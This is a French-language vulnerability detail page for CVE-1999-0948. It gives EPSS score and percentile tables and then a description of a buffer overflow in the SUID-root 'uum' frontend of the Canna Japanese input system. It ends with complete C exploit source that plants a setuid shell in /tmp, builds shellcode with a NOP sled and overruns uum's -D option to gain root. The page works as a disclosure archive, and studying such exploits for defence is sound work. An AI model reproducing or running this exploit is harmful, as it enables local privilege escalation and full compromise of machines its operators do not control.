CVE-1999-0948 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.15%
2025-04-15	–	–	–	–	0.15%
2025-04-15	–	–	–	–	0.15,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	32%
2025-04-15	36%
2025-04-15	36%

// source: https://www.securityfocus.com/bid/757/info Canna is a Japanese input system available as free software. Canna provides a unified user interface for inputting Japanese. Canna supports Nemacs(Mule), kinput2 and canuum. All of these tools can be used by a single customization file, romanji-to-kana conversion rules and conversion dictionaries, and input Japanese in the same way. Canna converts kana to kanji based on a client-server model and supports automatic kana-to-kanji conversion. The Canna subsystem on certain UNIX versions contains a buffer overflow in the 'uum' program. Uum is a Japanese input tty frontend for Canna. Regrettably, certain versions are vulnerable to a buffer overflow attack via unchecked user supplied data with the '-D' option. Since 'uum' is installed as SUID root this may result in a root level compromise. /*============================================================================= /usr/bin/uum Exploit for Linux The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) ============================================================================= */ #include <stdlib.h> #include <stdio.h> #define RET_ADR 84 #define EXP_ADR 204 #define MAXBUF 300 #define JMP_OFS 0x484 #define NOP 0x90 #define SHELL "/tmp/pp" #define COMPILER "gcc" char exec[60]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff"; char xx[MAXBUF+1]; unsigned int i,ip,sp; FILE *fp; unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } main() { strcat(exec,SHELL); sprintf(xx,"%s.c",SHELL); if ((fp=fopen(xx,"w"))==NULL){ printf("Can not write to %s\n",xx); exit(1); } fprintf(fp,"main(){setuid(0);setgid(0);system(\"/bin/sh\");}"); fclose(fp); sprintf(xx,"%s %s.c -o %s",COMPILER,SHELL,SHELL); system(xx); sp=get_sp(); memset(xx,NOP,MAXBUF); ip=sp-JMP_OFS; printf("Jumping address = %x\n",ip); xx[RET_ADR ]=ip&0xff; xx[RET_ADR+1]=(ip>>8)&0xff; xx[RET_ADR+2]=(ip>>16)&0xff; xx[RET_ADR+3]=(ip>>24)&0xff; strncpy(xx+EXP_ADR,exec,strlen(exec)); xx[MAXBUF]=0; execl("/usr/bin/uum","uum","-D",xx,(char *) 0); }